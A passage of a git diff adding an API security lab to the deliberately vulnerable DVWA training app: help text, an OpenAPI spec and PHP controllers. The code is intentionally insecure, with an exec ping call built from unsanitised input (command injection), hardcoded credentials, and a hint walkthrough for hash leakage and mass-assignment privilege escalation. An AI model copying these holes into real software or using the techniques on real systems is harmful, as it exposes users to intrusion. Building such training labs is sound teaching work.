"OpenApi\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "Robert Allen", + "email": "zircote@gmail.com" + }, + { + "name": "Bob Fanger", + "email": "bfanger@gmail.com", + "homepage": "https://bfanger.nl" + }, + { + "name": "Martin Rademacher", + "email": "mano@radebatz.net", + "homepage": "https://radebatz.net" + } + ], + "description": "swagger-php - Generate interactive documentation for your RESTful API using phpdoc annotations", + "homepage": "https://github.com/zircote/swagger-php/", + "keywords": [ + "api", + "json", + "rest", + "service discovery" + ], + "support": { + "issues": "https://github.com/zircote/swagger-php/issues", + "source": "https://github.com/zircote/swagger-php/tree/4.11.1" + }, + "time": "2024-10-15T19:20:02+00:00" + } + ], + "packages-dev": [], + "aliases": [], + "minimum-stability": "stable", + "stability-flags": {}, + "prefer-stable": false, + "prefer-lowest": false, + "platform": {}, + "platform-dev": {}, + "plugin-api-version": "2.6.0" +} diff --git a/DVWA/vulnerabilities/api/gen_openapi.php b/DVWA/vulnerabilities/api/gen_openapi.php new file mode 100644 index 00000000..0497a39f --- /dev/null +++ b/DVWA/vulnerabilities/api/gen_openapi.php @@ -0,0 +1,12 @@ +toYaml(); diff --git a/DVWA/vulnerabilities/api/help/help.php b/DVWA/vulnerabilities/api/help/help.php new file mode 100644 index 00000000..ec80928e --- /dev/null +++ b/DVWA/vulnerabilities/api/help/help.php @@ -0,0 +1,147 @@ + + +
    +

    Help - API Security

    + +
    + + + + +
    +

    About

    +

    + Most modern web apps use some kind of API, either as Single Page Apps (SPAs) or to retrieve data to populate traditional apps. As these APIs are behind the scenes, developers sometimes feel they can cut corners in areas such as authentication, authorisation or data validation. As testers, we can get behind the curtains and directly access these seemingly hidden calls to take advantage of these weaknesses. +

    +

    + This module will look at three weaknesses, versioning, mass assignment, and ..... +

    + +


    + +

    Objective

    +

    Each level has its own objective but the general idea is to exploit weak API implementations.

    + +


    + +

    Low Level

    +

    The call being made by the JavaScript is for version 2 of the endpoint, could there be other, earlier, versions available?

    +

    + +

    +
    +

    Either by looking at the JavaScript or watching network traffic, you should notice that there is a call being made to /vulnerabilities/api/v2/user/ to retrieve the data used to generate the user table.

    +

    + As the call is being made against version two (v2) of the endpoint, the obvious thing to try is to see if version one is available, and what it offers. The easiest way to do this is to access it directly in the browser by visiting /vulnerabilities/api/v1/user/, but sometimes API calls require extra headers or authentication tokens which it is easier to let the site add rather than trying to do it manually. Two ways to do this are to modify the URL used in the JavaScript as the page loads by setting a breakpoint on it and changing it before the request is made, or to intercept the call in a proxy, such as BurpSuite. +

    +

    + Whatever approach you try, by accessing version one of the endpoint, you should be able to see the password hashes as part of the data. +

    +
    + +

    Medium Level

    +

    + Look at the call made by the site, but also look at the swagger docs and see if there are any other parameters you might be able to add that are not currently passed. +

    +

    + +

    +
    +

    When you update your name, a PUT request is made to /vulnerabilities/api/v2/user/2 with the following content:

    + +
    {
    +  "name":"morph"
    +}
    + +

    + If you look at the swagger docs, the definition for UserUpdate is: +

    + +
    UserUpdate:
    +  required:
    +    - name
    +  properties:
    +    name:
    +      type: string
    +      example: fred
    +    type: object
    + +

    + Which is what you are currently passing, but if you have a look at UserAdd you will see an extra parameter: +

    + +
    UserAdd:
    +  required:
    +    - level
    +    - name
    +  properties:
    +    name:
    +      type: string
    +      example: fred
    +    level:
    +      type: integer
    +      example: user
    +  type: object
    + +

    + Notice the extra level parameter? +

    +

    + In situations like this, it is always worth testing to see if extra parameters which exist on similar calls will also work on the one you are working on. +

    + +

    + To try this, you can either intercept the request in a proxy, or you can modify the JSON before the request is sent to the server. To modify it in the page, you can set a breakpoint in the update_name function, right after the data variable has been created, and modify the variable by using the following in the console: +

    + +
    data = JSON.stringify({name: name, level: 0})
    + +

    + If you do this and then check the JSON sent in the PUT request, you should see: +

    + +
    {
    +  name: "hacked",
    +  level: 0
    +}
    + +

    + And hopefully a congratulations message. +

    +
    + +

    High Level

    +

    Import the four health calls into your testing tool of choice and make sure they are running properly. When they are all working, test them for vulnerabilities.

    + +

    + +

    + +
    +

    The connectivity call takes a target parameter and pings it to check for a connection, this is done by calling the OS ping command and is vulnerable to command injection.

    +

    + For more information on how to exploit this type of issue, see the command injection module. +

    +
    + +

    Impossible Level

    +

    + The challenge here is just to get the login process automated in Postman or your tool of choice. Read the documentation and experiment. To help get things working I piped everything through Burp and watched each call as it was made to see if it matched what I expected. +

    +

    + When the flow works correctly, the initial login will return an access token and a refresh token along with an expires_in value to say how long the access token is valid for. Once the access token has expired, the refresh token will be sent to the refresh endpoint to generate a new access/refresh token pair. +

    +

    + It should be noted that as well as the access token having a fixed lifespan, the refresh token also has a fixed lifespan, once it has expired, the login process has to begin again from scratch. +

    +
    + +
    + +
    diff --git a/DVWA/vulnerabilities/api/index.php b/DVWA/vulnerabilities/api/index.php new file mode 100644 index 00000000..5e03e8fa --- /dev/null +++ b/DVWA/vulnerabilities/api/index.php @@ -0,0 +1,71 @@ +Warning, mod_rewrite is not enabled
    "; + $html .= "See the README for more information.
    "; + } +} + +if (!is_dir ("./vendor")) { + $html .= "Warning, composer has not been run.
    "; + $html .= "See the README for more information.
    "; +} + + +require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/api/source/{$vulnerabilityFile}"; + +$page[ 'body' ] .= "
    +

    Vulnerability: API Security

    + +
    +"; + +$page[ 'body' ] .= " + {$html} +
    + +

    More Information

    +
      +
    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/12-API_Testing/00-API_Testing_Overview', "OWASP WSTG API Testing Overview" ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://portswigger.net/bappstore/6bf7574b632847faaaa4eb5e42f1757c', "Burp OpenAPI Parser" ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://www.zaproxy.org/docs/desktop/addons/openapi-support/', "ZAP OpenAPI Support" ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://swagger.io/tools/swagger-ui/', "Swagger UI" ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://www.postman.com/', "Postman" ) . "
    • +
    +
    \n"; + +dvwaHtmlEcho( $page ); + +?> + diff --git a/DVWA/vulnerabilities/api/openapi.yml b/DVWA/vulnerabilities/api/openapi.yml new file mode 100644 index 00000000..837d40ae --- /dev/null +++ b/DVWA/vulnerabilities/api/openapi.yml @@ -0,0 +1,435 @@ +openapi: 3.0.0 +info: + title: 'DVWA API' + contact: + url: 'https://github.com/digininja/DVWA/' + email: robin@digi.ninja + version: '0.1' +servers: + - + url: 'http://dvwa.test' + description: 'API server' +paths: + /vulnerabilities/api/v2/health/echo: + post: + tags: + - health + description: 'Echo, echo, cho, cho, o o ....' + operationId: echo + requestBody: + description: 'Your words.' + content: + application/json: + schema: + $ref: '#/components/schemas/Words' + responses: + '200': + description: 'Successful operation.' + /vulnerabilities/api/v2/health/connectivity: + post: + tags: + - health + description: 'The server occasionally loses connectivity to other systems and so this can be used to check connectivity status.' + operationId: checkConnectivity + requestBody: + description: 'Remote host.' + content: + application/json: + schema: + $ref: '#/components/schemas/Target' + responses: + '200': + description: 'Successful operation.' + /vulnerabilities/api/v2/health/status: + get: + tags: + - health + description: 'Get the health of the system.' + operationId: getHealthStatus + responses: + '200': + description: 'Successful operation.' + /vulnerabilities/api/v2/health/ping: + get: + tags: + - health + description: 'Simple ping/pong to check connectivity.' + operationId: ping + responses: + '200': + description: 'Successful operation.' + /vulnerabilities/api/v2/login/login: + post: + tags: + - login + description: 'Login as user.' + operationId: login + requestBody: + description: 'The login credentials.' + content: + application/json: + schema: + $ref: '#/components/schemas/Credentials' + responses: + '200': + description: 'Successful operation.' + '401': + description: 'Invalid credentials.' + /vulnerabilities/api/v2/login/check_token: + post: + tags: + - login + description: 'Check a token is valid.' + operationId: check_token + requestBody: + description: 'The token to test.' + content: + application/json: + schema: + $ref: '#/components/schemas/Token' + responses: + '200': + description: 'Successful operation.' + '401': + description: 'Token is invalid.' + '/vulnerabilities/api/v2/order/{id}': + get: + tags: + - order + description: 'Get a order by ID.' + operationId: getOrderByID + parameters: + - + name: id + in: path + required: true + schema: + type: integer + responses: + '200': + description: 'Successful operation.' + content: + application/json: + schema: + $ref: '#/components/schemas/Order' + '404': + description: 'Order not found.' + security: + - + scalar: basicAuth + put: + tags: + - order + description: 'Update an order by ID.' + operationId: updateOrder + parameters: + - + name: id + in: path + required: true + schema: + type: integer + requestBody: + description: 'New order data.' + content: + application/json: + schema: + $ref: '#/components/schemas/OrderUpdate' + responses: + '200': + description: 'Successful operation.' + content: + application/json: + schema: + $ref: '#/components/schemas/Order' + '404': + description: 'Order not found' + '422': + description: 'Invalid order object provided' + delete: + tags: + - order + description: 'Delete order by ID.' + operationId: deleteOrderById + parameters: + - + name: id + in: path + required: true + schema: + type: integer + responses: + '200': + description: 'Successful operation.' + '404': + description: 'Order not found' + /vulnerabilities/api/v2/order/: + get: + tags: + - order + description: 'Get all orders.' + operationId: getOrders + responses: + '200': + description: 'Successful operation.' + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/Order' + post: + tags: + - order + description: 'Create a new order.' + operationId: addOrder + requestBody: + description: 'Order data.' + content: + application/json: + schema: + $ref: '#/components/schemas/OrderAdd' + responses: + '200': + description: 'Successful operation.' + content: + application/json: + schema: + $ref: '#/components/schemas/Order' + '422': + description: 'Invalid order object provided' + '/vulnerabilities/api/v2/user/{id}': + get: + tags: + - user + description: 'Get a user by ID.' + operationId: getUserByID + parameters: + - + name: id + in: path + required: true + schema: + type: integer + responses: + '200': + description: 'Successful operation.' + content: + application/json: + schema: + $ref: '#/components/schemas/User' + '404': + description: 'User not found.' + put: + tags: + - user + description: 'Update a user by ID.' + operationId: updateUser + parameters: + - + name: id + in: path + required: true + schema: + type: integer + requestBody: + description: 'New user data.' + content: + application/json: + schema: + $ref: '#/components/schemas/UserUpdate' + responses: + '200': + description: 'Successful operation.' + content: + application/json: + schema: + $ref: '#/components/schemas/User' + '404': + description: 'User not found' + '422': + description: 'Invalid user object provided' + delete: + tags: + - user + description: 'Delete user by ID.' + operationId: deleteUserById + parameters: + - + name: id + in: path + required: true + schema: + type: integer + responses: + '200': + description: 'Successful operation.' + '404': + description: 'User not found' + /vulnerabilities/api/v2/user/: + get: + tags: + - user + description: 'Get all users.' + operationId: getUsers + responses: + '200': + description: 'Successful operation.' + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/User' + post: + tags: + - user + description: 'Create a new user.' + operationId: addUser + requestBody: + description: 'User data.' + content: + application/json: + schema: + $ref: '#/components/schemas/UserAdd' + responses: + '200': + description: 'Successful operation.' + content: + application/json: + schema: + $ref: '#/components/schemas/User' + '422': + description: 'Invalid user object provided' +components: + schemas: + Target: + required: + - target + properties: + target: + type: string + example: digi.ninja + type: object + Words: + required: + - words + properties: + words: + type: string + example: 'Hello World' + type: object + Credentials: + required: + - username + - password + properties: + username: + type: string + example: user + password: + type: string + example: password + type: object + Order: + properties: + id: + type: integer + example: 1 + name: + type: string + example: 'Tony Hart' + address: + type: string + example: 'BBC Television Centre, London W3 6XZ' + items: + type: string + example: '1 * brush, 2 * paints, 1 * easel' + status: + type: integer + example: 1 + type: object + OrderAdd: + required: + - level + - name + properties: + name: + type: string + example: fred + address: + type: string + example: '1 High Street, Atown' + items: + type: string + example: '2 * brushes' + type: object + OrderUpdate: + properties: + name: + type: string + example: fred + address: + type: string + example: '1 High Street, Atown' + items: + type: string + example: '2 * brushes' + type: object + Token: + required: + - token + properties: + token: + type: string + example: '11111' + type: object + User: + properties: + id: + type: integer + example: 1 + name: + type: string + example: fred + level: + type: integer + example: 1 + type: object + UserAdd: + required: + - level + - name + properties: + name: + type: string + example: fred + level: + type: integer + example: 1 + type: object + UserUpdate: + required: + - name + properties: + name: + type: string + example: fred + type: object + securitySchemes: + http: + type: http + name: authorization +tags: + - + name: user + description: 'User operations.' + - + name: health + description: 'Health operations.' + - + name: order + description: 'Order operations.' + - + name: login + description: 'Login operations.' diff --git a/DVWA/vulnerabilities/api/public/index.php b/DVWA/vulnerabilities/api/public/index.php new file mode 100644 index 00000000..36aebd36 --- /dev/null +++ b/DVWA/vulnerabilities/api/public/index.php @@ -0,0 +1,100 @@ + $dir) { + if ($dir == "order" || $dir == "user" || $dir == "health" || $dir == "login") { + $local_uri = array_slice ($uri, $pos - 1); + break; + } +} + +// All of our endpoints start with /api/v[0-9] +// everything else results in a 404 Not Found + +if (count($local_uri) < 2) { + header("HTTP/1.1 404 Not Found"); + exit(); +} + +$requestMethod = $_SERVER["REQUEST_METHOD"]; + +$version = $local_uri[0]; + +if (preg_match ("/v([0-9]*)/", $version, $matches)) { + $version = intval ($matches[1]); +} else { + header("HTTP/1.1 404 Not Found"); + exit(); +} +$controller = $local_uri[1]; + +switch ($controller) { + case "order": + // the user id is, of course, optional and must be a number: + $orderId = null; + if (isset($local_uri[2]) && $local_uri[2] != "") { + $orderId = intval($local_uri[2]); + } + + // pass the request method and order ID to the OrderController and process the HTTP request: + $controller = new OrderController($requestMethod, $version, $orderId); + $controller->processRequest(); + break; + case "user": + // the user id is, of course, optional and must be a number: + $userId = null; + if (isset($local_uri[2])) { + $userId = (int) $local_uri[2]; + } + + // pass the request method and user ID to the UserController and process the HTTP request: + $controller = new UserController($requestMethod, $version, $userId); + $controller->processRequest(); + break; + case "health": + if (!isset($local_uri[2])) { + $gc = new GenericController("notFound"); + $gc->processRequest(); + break; + } + + $command = $local_uri[2]; + $controller = new HealthController($requestMethod, $version, $command); + $controller->processRequest(); + break; + case "login": + if (!isset($local_uri[2])) { + $gc = new GenericController("notFound"); + $gc->processRequest(); + break; + } + + $command = $local_uri[2]; + $controller = new LoginController($requestMethod, $version, $command); + $controller->processRequest(); + break; + default: + $gc = new GenericController("notFound"); + $gc->processRequest(); + break; +} diff --git a/DVWA/vulnerabilities/api/source/high.php b/DVWA/vulnerabilities/api/source/high.php new file mode 100644 index 00000000..61b3a243 --- /dev/null +++ b/DVWA/vulnerabilities/api/source/high.php @@ -0,0 +1,14 @@ + + Here is the OpenAPI document, have a look the health functions and see if you can find one that has a vulnerability. +

    +

    + You might be able to work out how to call the individual functions by hand, but it would be a lot easier to import it into an application such as Swagger UI, Burp, ZAP, or Postman and let the tool do the hard work of setting the requests up for you. +

    +"; + +?> diff --git a/DVWA/vulnerabilities/api/source/impossible.php b/DVWA/vulnerabilities/api/source/impossible.php new file mode 100644 index 00000000..aec173b9 --- /dev/null +++ b/DVWA/vulnerabilities/api/source/impossible.php @@ -0,0 +1,22 @@ + + Rather than try to develop a perfect API, there is a different type of challenge for this level. +

    +

    + The order system uses OAuth 2.0 for authentication. Being able to automate using this in your tools will greatly help with efficiency, removing the need to manually login and copy access tokens around. Use this level to practice setting up OAuth 2.0 in your testing tool of choice, for me this is Postman which is then proxied through Burp, but you can pick whatever tools are most appropriate for your testing environment. +

    +

    + Here are some guides that might help: +

    + + +"; + +?> diff --git a/DVWA/vulnerabilities/api/source/low.php b/DVWA/vulnerabilities/api/source/low.php new file mode 100644 index 00000000..e1123e35 --- /dev/null +++ b/DVWA/vulnerabilities/api/source/low.php @@ -0,0 +1,118 @@ + + Versioning is important in APIs, running multiple versions of an API can allow for backward compatibility and can allow new services to be added without affecting existing users. The downside to keeping old versions alive is when those older versions contain vulnerabilities. +

    +"; + +$html .= " + +"; + +$html .= " + + + + + + + +
    + + +

    + Look at the call used to create this table and see if you can exploit it to return some additional information. +

    + + +"; + +?> diff --git a/DVWA/vulnerabilities/api/source/medium.php b/DVWA/vulnerabilities/api/source/medium.php new file mode 100644 index 00000000..2c980de1 --- /dev/null +++ b/DVWA/vulnerabilities/api/source/medium.php @@ -0,0 +1,95 @@ + + function update_username(user_json) { + console.log(user_json); + var user_info = document.getElementById ('user_info'); + var name_input = document.getElementById ('name'); + + if (user_json.name == '') { + user_info.innerHTML = 'User details: unknown user'; + name_input.value = 'unknown'; + } else { + var level = 'unknown'; + if (user_json.level == 0) { + level = 'admin'; + successDiv = document.getElementById ('message'); + successDiv.style.display = 'block'; + } else { + level = 'user'; + } + user_info.innerHTML = 'User details: ' + user_json.name + ' (' + level + ')'; + name_input.value = user_json.name; + } + } + + function get_user() { + const url = '/vulnerabilities/api/v2/user/2'; + + fetch(url, { + method: 'GET', + }) + .then(response => { + if (!response.ok) { + throw new Error('Network response was not ok'); + } + return response.json(); + }) + .then(data => { + update_username (data); + }) + .catch(error => { + console.error('There was a problem with your fetch operation:', error); + }); + } + + function update_name() { + const url = '/vulnerabilities/api/v2/user/2'; + const name = document.getElementById ('name').value; + const data = JSON.stringify({name: name}); + + fetch(url, { + method: 'PUT', + headers: { + 'Content-Type': 'application/json' + }, + body: data + }) + .then(response => { + if (!response.ok) { + throw new Error('Network response was not ok'); + } + return response.json(); + }) + .then(data => { + update_username(data); + }) + .catch(error => { + console.error('There was a problem with your fetch operation:', error); + }); + } + +"; + +$html .= " +

    + Look at the call used to update your name and exploit it to elevate your user to admin (level 0). +

    +

    +
    +

    + + +

    +

    + +

    +
    + + +"; + +?> diff --git a/DVWA/vulnerabilities/api/src/GenericController.php b/DVWA/vulnerabilities/api/src/GenericController.php new file mode 100644 index 00000000..c1fa518c --- /dev/null +++ b/DVWA/vulnerabilities/api/src/GenericController.php @@ -0,0 +1,80 @@ +command = $command; + } + + private function optionsResponse() { + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = null; + return $response; + } + + private function unprocessableEntityResponse() + { + $response['status_code_header'] = 'HTTP/1.1 422 Unprocessable Entity'; + $response['body'] = json_encode([ + 'error' => 'Invalid input' + ]); + return $response; + } + + private function notFoundResponse() { + $response['status_code_header'] = 'HTTP/1.1 404 Not Found'; + $response['body'] = null; + return $response; + } + + private function methodNotSupported() { + $response['status_code_header'] = 'HTTP/1.1 405 Method Not Supported'; + $response['body'] = null; + return $response; + } + + private function teapotResponse() { + $response['status_code_header'] = "HTTP/1.1 418 I'm a teapot"; + $response['body'] = null; + return $response; + } + + public function processRequest() { + switch ($this->command) { + case "teapot": + $response = $this->teapotResponse(); + break; + case "notfound": + $response = $this->notFoundResponse(); + break; + case "notSupported": + $response = $this->methodNotSupported(); + break; + case "unprocessable": + $response = $this->unprocessableEntityResponse(); + break; + case "options": + $response = $this->optionsResponse(); + break; + default: + $response = $this->notFoundResponse(); + break; + }; + header($response['status_code_header']); + if ($response['body']) { + echo $response['body']; + } + exit(); + } +} diff --git a/DVWA/vulnerabilities/api/src/HealthController.php b/DVWA/vulnerabilities/api/src/HealthController.php new file mode 100644 index 00000000..e828505e --- /dev/null +++ b/DVWA/vulnerabilities/api/src/HealthController.php @@ -0,0 +1,200 @@ +requestMethod = $requestMethod; + $this->command = $command; + } + + #[OAT\Post( + tags: ["health"], + path: '/vulnerabilities/api/v2/health/echo', + operationId: 'echo', + description: 'Echo, echo, cho, cho, o o ....', + parameters: [ + new OAT\RequestBody ( + description: 'Your words.', + content: new OAT\MediaType( + mediaType: 'application/json', + schema: new OAT\Schema(ref: Words::class) + ) + ), + + ], + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + ), + ] + ) + ] + + private function echo() { + $input = (array) json_decode(file_get_contents('php://input'), TRUE); + if (array_key_exists ("words", $input)) { + $words = $input['words']; + + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = json_encode (array ("reply" => $words)); + } else { + $response['status_code_header'] = 'HTTP/1.1 500 Internal Server Error'; + $response['body'] = json_encode (array ("status" => "Words not specified")); + } + return $response; + } + + #[OAT\Post( + tags: ["health"], + path: '/vulnerabilities/api/v2/health/connectivity', + operationId: 'checkConnectivity', + description: 'The server occasionally loses connectivity to other systems and so this can be used to check connectivity status.', + parameters: [ + new OAT\RequestBody ( + description: 'Remote host.', + content: new OAT\MediaType( + mediaType: 'application/json', + schema: new OAT\Schema(ref: Target::class) + ) + ), + + ], + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + ), + ] + ) + ] + + private function checkConnectivity() { + $input = (array) json_decode(file_get_contents('php://input'), TRUE); + if (array_key_exists ("target", $input)) { + $target = $input['target']; + + exec ("ping -c 4 " . $target, $output, $ret_var); + + if ($ret_var == 0) { + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = json_encode (array ("status" => "OK")); + } else { + $response['status_code_header'] = 'HTTP/1.1 500 Internal Server Error'; + $response['body'] = json_encode (array ("status" => "Connection failed")); + } + } else { + $response['status_code_header'] = 'HTTP/1.1 500 Internal Server Error'; + $response['body'] = json_encode (array ("status" => "Target not specified")); + } + return $response; + } + + #[OAT\Get( + tags: ["health"], + path: '/vulnerabilities/api/v2/health/status', + operationId: 'getHealthStatus', + description: 'Get the health of the system.', + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + ), + ] + ) + ] + + private function getStatus() { + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = json_encode (array ("status" => "OK")); + return $response; + } + + #[OAT\Get( + tags: ["health"], + path: '/vulnerabilities/api/v2/health/ping', + operationId: 'ping', + description: 'Simple ping/pong to check connectivity.', + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + ), + ] + ) + ] + private function ping() { + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = json_encode (array ("Ping" => "Pong")); + return $response; + } + + public function processRequest() { + switch ($this->requestMethod) { + case 'POST': + switch ($this->command) { + case "echo": + $response = $this->echo(); + break; + case "connectivity": + $response = $this->checkConnectivity(); + break; + default: + $gc = new GenericController("notFound"); + $gc->processRequest(); + exit(); + }; + break; + case 'GET': + switch ($this->command) { + case "status": + $response = $this->getStatus(); + break; + case "ping": + $response = $this->ping(); + break; + default: + $gc = new GenericController("notFound"); + $gc->processRequest(); + exit(); + }; + break; + case 'OPTIONS': + $gc = new GenericController("options"); + $gc->processRequest(); + break; + default: + $gc = new GenericController("notSupported"); + $gc->processRequest(); + break; + } + header($response['status_code_header']); + if ($response['body']) { + echo $response['body']; + } + } +} + +#[OAT\Schema(required: ['target'])] +final class Target { + #[OAT\Property(example: "digi.ninja")] + public string $target; +} + +#[OAT\Schema(required: ['words'])] +final class Words { + #[OAT\Property(example: "Hello World")] + public string $words; +} + diff --git a/DVWA/vulnerabilities/api/src/Helpers.php b/DVWA/vulnerabilities/api/src/Helpers.php new file mode 100644 index 00000000..d7d5a59b --- /dev/null +++ b/DVWA/vulnerabilities/api/src/Helpers.php @@ -0,0 +1,15 @@ + "Invalid content type, expected JSON")); + return $response; + } + } +} diff --git a/DVWA/vulnerabilities/api/src/Login.php b/DVWA/vulnerabilities/api/src/Login.php new file mode 100644 index 00000000..8b82f620 --- /dev/null +++ b/DVWA/vulnerabilities/api/src/Login.php @@ -0,0 +1,48 @@ + $tokenObj->create_token(self::ACCESS_TOKEN_SECRET, $now + self::ACCESS_TOKEN_LIFE), + "refresh_token" => $tokenObj->create_token(self::REFRESH_TOKEN_SECRET, $now + self::REFRESH_TOKEN_LIFE), + "token_type" => "bearer", + "expires_in" => self::ACCESS_TOKEN_LIFE) + ); + return $token; + } + + public static function check_access_token($token) { + $tokenObj = new Token(); + $decrypted = $tokenObj->decrypt_token ($token); + + if ($decrypted === false) { + return false; + } + if ($decrypted['secret'] == self::ACCESS_TOKEN_SECRET && $decrypted['expires'] > time()) { + return true; + } + return false; + } + + public static function check_refresh_token($token) { + $tokenObj = new Token(); + $decrypted = $tokenObj->decrypt_token ($token); + + if ($decrypted['secret'] == self::REFRESH_TOKEN_SECRET && $decrypted['expires'] > time()) { + return true; + } + return false; + } +} diff --git a/DVWA/vulnerabilities/api/src/LoginController.php b/DVWA/vulnerabilities/api/src/LoginController.php new file mode 100644 index 00000000..fa3e34fd --- /dev/null +++ b/DVWA/vulnerabilities/api/src/LoginController.php @@ -0,0 +1,282 @@ +requestMethod = $requestMethod; + $this->command = $command; + } + + # + # Add one of these for refresh + # + #[OAT\Post( + tags: ["login"], + path: '/vulnerabilities/api/v2/login/login', + operationId: 'login', + description: 'Login as user.', + parameters: [ + new OAT\RequestBody ( + description: 'The login credentials.', + content: new OAT\MediaType( + mediaType: 'application/json', + schema: new OAT\Schema(ref: Credentials::class) + ) + ), + + ], + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + ), + new OAT\Response( + response: 401, + description: 'Invalid credentials.', + ), + ] + ) + ] + + private function loginJSON() { + $ret = Helpers::check_content_type(); + if ($ret !== true) { + return $ret; + } + + $input = (array) json_decode(file_get_contents('php://input'), TRUE); + if (array_key_exists ("username", $input) && + array_key_exists ("password", $input)) { + $username = $input['username']; + $password = $input['password']; + + if ($username == "mrbennett" && $password == "becareful") { + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = json_encode (array ("token" => Login::create_token())); + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Invalid credentials")); + } + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Missing credentials")); + } + return $response; + } + + # This is an attempt at an OAUTH2 client password authentication flow + private function login() { + # Default fail, just in case. + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Authentication failed")); + + if (array_key_exists ("PHP_AUTH_USER", $_SERVER) && + array_key_exists ("PHP_AUTH_PW", $_SERVER)) { + $client_id = $_SERVER['PHP_AUTH_USER']; + $client_secret = $_SERVER['PHP_AUTH_PW']; + + # App auth check + if ($client_id == "1471.dvwa.digi.ninja" && $client_secret == "ABigLongSecret") { + + if (array_key_exists ("grant_type", $_POST)) { + switch ($_POST['grant_type']) { + case "password": + if (array_key_exists ("username", $_POST) && + array_key_exists ("password", $_POST)) { + $username = $_POST['username']; + $password = $_POST['password']; + + if ($username == "mrbennett" && $password == "becareful") { + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = Login::create_token(); + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Invalid user credentials")); + } + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Missing user credentials")); + } + break; + case "refresh_token": + if (array_key_exists ("refresh_token", $_POST)) { + $refresh_token = $_POST['refresh_token']; + + # Because this is sent in a POST body, any + characters + # get replaced by a space when the URL decode happens. This + # puts them back to plus characters. + $ref = str_replace (" ", "+", $refresh_token); + + if (Login::check_refresh_token($ref)) { + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = Login::create_token(); + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Invalid refresh token")); + } + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Missing refresh token")); + } + break; + default: + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Unknown grant type")); + } + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Missing grant type")); + } + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Invalid clientid/clientsecret credentials")); + } + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Missing clientid/clientsecret credentials")); + } + + return $response; + } + + private function refresh() { + /* + echo "

    Hello {$_SERVER['PHP_AUTH_USER']}.

    "; + echo "

    You entered {$_SERVER['PHP_AUTH_PW']} as your password.

    "; + */ + $ret = Helpers::check_content_type(); + if ($ret !== true) { + return $ret; + } + + $input = (array) json_decode(file_get_contents('php://input'), TRUE); + if (array_key_exists ("refresh_token", $input)) { + if (array_key_exists ("grant_type", $input)) { + $token = $input['token']; + if (Login::check_access_token($token)) { + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = json_encode (array ("token" => "Valid")); + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Invalid")); + } + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Missing token")); + } + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Missing token")); + } + return $response; + } + + #[OAT\Post( + tags: ["login"], + path: '/vulnerabilities/api/v2/login/check_token', + operationId: 'check_token', + description: 'Check a token is valid.', + parameters: [ + new OAT\RequestBody ( + description: 'The token to test.', + content: new OAT\MediaType( + mediaType: 'application/json', + schema: new OAT\Schema(ref: Token::class) + ) + ), + + ], + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + ), + new OAT\Response( + response: 401, + description: 'Token is invalid.', + ), + ] + ) + ] + + private function check_token() { + $ret = Helpers::check_content_type(); + if ($ret !== true) { + return $ret; + } + + $input = (array) json_decode(file_get_contents('php://input'), TRUE); + if (array_key_exists ("token", $input)) { + $token = $input['token']; + if (Login::check_access_token($token)) { + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = json_encode (array ("token" => "Valid")); + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Invalid")); + } + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Missing token")); + } + return $response; + } + + public function processRequest() { + switch ($this->requestMethod) { + case 'POST': + switch ($this->command) { + case "refresh": + $response = $this->login(); + break; + case "login": + $response = $this->login(); + break; + case "check_token": + $response = $this->check_token(); + break; + default: + $gc = new 